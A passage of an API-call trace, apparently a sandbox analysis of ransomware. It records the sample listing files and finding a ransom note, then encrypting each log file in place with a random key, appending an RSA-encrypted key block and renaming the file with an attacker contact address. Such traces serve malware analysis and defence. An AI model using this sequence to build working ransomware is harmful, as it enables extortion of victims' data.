returned 0x58ed60 [0132.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0132.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4748 | out: hHeap=0x570000) returned 1 [0132.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0132.282] FindFirstFileW (in: lpFileName="\\$GetCurrent\\Logs\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xff40cd88, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a3450 [0132.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0132.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.282] GetLastError () returned 0x0 [0132.282] SetLastError (dwErrCode=0x0) [0132.282] GetLastError () returned 0x0 [0132.282] SetLastError (dwErrCode=0x0) [0132.282] GetLastError () returned 0x0 [0132.282] SetLastError (dwErrCode=0x0) [0132.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed98 [0132.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0132.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0132.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a30d0 [0132.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a30d0 | out: hHeap=0x570000) returned 1 [0132.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405b8 [0132.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405b8 | out: hHeap=0x570000) returned 1 [0132.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed98 | out: hHeap=0x570000) returned 1 [0132.283] FindNextFileW (in: hFindFile=0x5a3450, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xff40cd88, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0132.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0132.284] GetLastError () returned 0x0 [0132.284] SetLastError (dwErrCode=0x0) [0132.284] GetLastError () returned 0x0 [0132.284] SetLastError (dwErrCode=0x0) [0132.284] GetLastError () returned 0x0 [0132.284] SetLastError (dwErrCode=0x0) [0132.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef90 [0132.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0132.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0132.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3550 [0132.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3550 | out: hHeap=0x570000) returned 1 [0132.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40588 [0132.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40588 | out: hHeap=0x570000) returned 1 [0132.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef90 | out: hHeap=0x570000) returned 1 [0132.284] FindNextFileW (in: hFindFile=0x5a3450, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0132.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0132.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0132.285] GetLastError () returned 0x0 [0132.285] SetLastError (dwErrCode=0x0) [0132.285] GetLastError () returned 0x0 [0132.285] SetLastError (dwErrCode=0x0) [0132.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0132.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0132.285] GetLastError () returned 0x0 [0132.285] SetLastError (dwErrCode=0x0) [0132.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0132.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0132.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0132.285] FindNextFileW (in: hFindFile=0x5a3450, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0132.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0132.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.285] GetLastError () returned 0x0 [0132.285] SetLastError (dwErrCode=0x0) [0132.285] GetLastError () returned 0x0 [0132.285] SetLastError (dwErrCode=0x0) [0132.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0132.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.285] GetLastError () returned 0x0 [0132.285] SetLastError (dwErrCode=0x0) [0132.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0132.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0132.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0132.285] FindNextFileW (in: hFindFile=0x5a3450, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0132.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0132.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.285] GetLastError () returned 0x0 [0132.286] SetLastError (dwErrCode=0x0) [0132.286] GetLastError () returned 0x0 [0132.286] SetLastError (dwErrCode=0x0) [0132.286] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0132.286] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.286] GetLastError () returned 0x0 [0132.286] SetLastError (dwErrCode=0x0) [0132.286] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0132.286] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0132.286] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0132.286] FindNextFileW (in: hFindFile=0x5a3450, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff40cd88, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xff40cd88, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xff40cd88, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0132.286] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0132.286] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0132.286] GetLastError () returned 0x0 [0132.286] SetLastError (dwErrCode=0x0) [0132.286] GetLastError () returned 0x0 [0132.286] SetLastError (dwErrCode=0x0) [0132.286] GetLastError () returned 0x0 [0132.286] SetLastError (dwErrCode=0x0) [0132.286] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.286] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.286] FindNextFileW (in: hFindFile=0x5a3450, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff40cd88, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xff40cd88, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xff40cd88, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0132.286] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0132.286] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.286] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.286] SetFileAttributesW (lpFileName="\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", dwFileAttributes=0x80) returned 1 [0132.287] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0132.287] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0132.287] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0132.287] CreateFileW (lpFileName="\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x474 [0132.287] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=40) returned 1 [0132.287] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x28) returned 0x5c1648 [0132.287] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x28) returned 0x5c1678 [0132.287] ReadFile (in: hFile=0x474, lpBuffer=0x5c1648, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1648*, lpNumberOfBytesRead=0x2e3f9b4*=0x28, lpOverlapped=0x0) returned 1 [0132.288] SetFilePointer (in: hFile=0x474, lDistanceToMove=-40, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.288] WriteFile (in: hFile=0x474, lpBuffer=0x5c1678*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1678*, lpNumberOfBytesWritten=0x2e3f9b4*=0x28, lpOverlapped=0x0) returned 1 [0132.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1648 | out: hHeap=0x570000) returned 1 [0132.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1678 | out: hHeap=0x570000) returned 1 [0132.288] SetFilePointer (in: hFile=0x474, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x28 [0132.289] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.289] WriteFile (in: hFile=0x474, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.289] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.289] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.289] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.289] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="s9vEri55jnUKkyhfwOuu9Eya4d1XN9zMy5jUOGAjzObxLDLVofDdj3JM1WHlZ5jO\nuZNDfzilS350T7Oe2Rvh+G5RjFfvr3JNrQGMkAHtORo5CJBV6bSlPiYVAdLXcawF\ndAPiE8HMerFc/2cibOEHGmxv1riCEDkGhL0paTQJ221pbSpC9fgKExAFl2g0hwmE\ndIbW6Kf2pY4bFYJ6qbi7LjSgpnIR4tJoUCZAFunfwnFxEEuzZuYpKvM7Ggp5mmeV\nnnh7MC3A2jVH7MS73N0Y1gQS9BNChwocRmplU+I+ZSomja5kXRoioI7KO6PDuTRO\nzUnZa31u6LJzxKKTOsu8uQ==\n", pcchString=0x2e3f9a8) returned 1 [0132.289] WriteFile (in: hFile=0x474, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.290] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.290] WriteFile (in: hFile=0x474, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.290] CloseHandle (hObject=0x474) returned 1 [0132.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.290] MoveFileExW (lpExistingFileName="\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), lpNewFileName="\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.292] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0132.292] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.292] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0132.292] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0132.292] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0132.292] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.292] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.293] SetFileAttributesW (lpFileName="\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", dwFileAttributes=0x80) returned 1 [0132.293] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd880 [0132.293] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0132.293] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd880 | out: hHeap=0x570000) returned 1 [0132.293] CreateFileW (lpFileName="\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x474 [0132.294] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6004) returned 1 [0132.294] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1774) returned 0x5d8838 [0132.294] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1774) returned 0x5d9fb8 [0132.294] ReadFile (in: hFile=0x474, lpBuffer=0x5d8838, nNumberOfBytesToRead=0x1774, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d8838*, lpNumberOfBytesRead=0x2e3f9b4*=0x1774, lpOverlapped=0x0) returned 1 [0132.354] SetFilePointer (in: hFile=0x474, lDistanceToMove=-6004, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.354] WriteFile (in: hFile=0x474, lpBuffer=0x5d9fb8*, nNumberOfBytesToWrite=0x1774, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d9fb8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1774, lpOverlapped=0x0) returned 1 [0132.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d8838 | out: hHeap=0x570000) returned 1 [0132.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d9fb8 | out: hHeap=0x570000) returned 1 [0132.354] SetFilePointer (in: hFile=0x474, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1774 [0132.354] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.354] WriteFile (in: hFile=0x474, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.354] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.354] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.355] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.355] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.355] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="5aJyk1d9fUM1wqP7f5yfdePWHpZi6VqWq8Ny1oqC4dbDGPJdoGnqWQNXGeII2iSe\n8JC28lWI/BB2nfStZIa/vvz0UW3oTB5L8j27rjhgm3Dwrdq+v+UHrNpqrGFyMXXa\nlZLk6MTbvik1sYw9QO71IhlFl6N8OUuWExToC/VEcCzRM+HmerUK46q+cXbP3CRF\nWbruLq/OOUo+qiBqRoooBL2T/pYiLV/jpeOnfF3o+XrgKyvDcY/Yk1Rnl3LM/k4K\nF8Jv1+51xO+pyrGYBDoeAV7daaC9i/zkIIUd6AtrK+jljjQRvG2JM8VN0qIrHsOc\nedTWs+Sfjjudhe/XgtISZQ==\n", pcchString=0x2e3f9a8) returned 1 [0132.355] WriteFile (in: hFile=0x474, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.355] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.355] WriteFile (in: hFile=0x474, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.355] CloseHandle (hObject=0x474) returned 1 [0132.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.356] MoveFileExW (lpExistingFileName="\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), lpNewFileName="\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0132.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0132.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0132.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0132.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.360] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.360] SetFileAttributesW (lpFileName="\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", dwFileAttributes=0x80) returned 1 [0132.361] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0132.361] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0132.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0132.361] CreateFileW (lpFileName="\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x474 [0132.361] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=42674) returned 1 [0132.361] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa6b2) returned 0x5d8838 [0132.361] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa6b2) returned 0x5e2ef8 [0132.361] ReadFile (in: hFile=0x474, lpBuffer=0x5d8838, nNumberOfBytesToRead=0xa6b2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d8838*, lpNumberOfBytesRead=0x2e3f9b4*=0xa6b2, lpOverlapped=0x0) returned 1 [0132.404] SetFilePointer (in: hFile=0x474, lDistanceToMove=-42674, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.404] WriteFile (in: hFile=0x474, lpBuffer=0x5e2ef8*, nNumberOfBytesToWrite=0xa6b2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e2ef8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa6b2, lpOverlapped=0x0) returned 1 [0132.404] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d8838 | out: hHeap=0x570000) returned 1 [0132.404] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e2ef8 | out: hHeap=0x570000) returned 1 [0132.406] SetFilePointer (in: hFile=0x474, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa6b2 [0132.406] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.406] WriteFile (in: hFile=0x474, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.406] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.406] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, 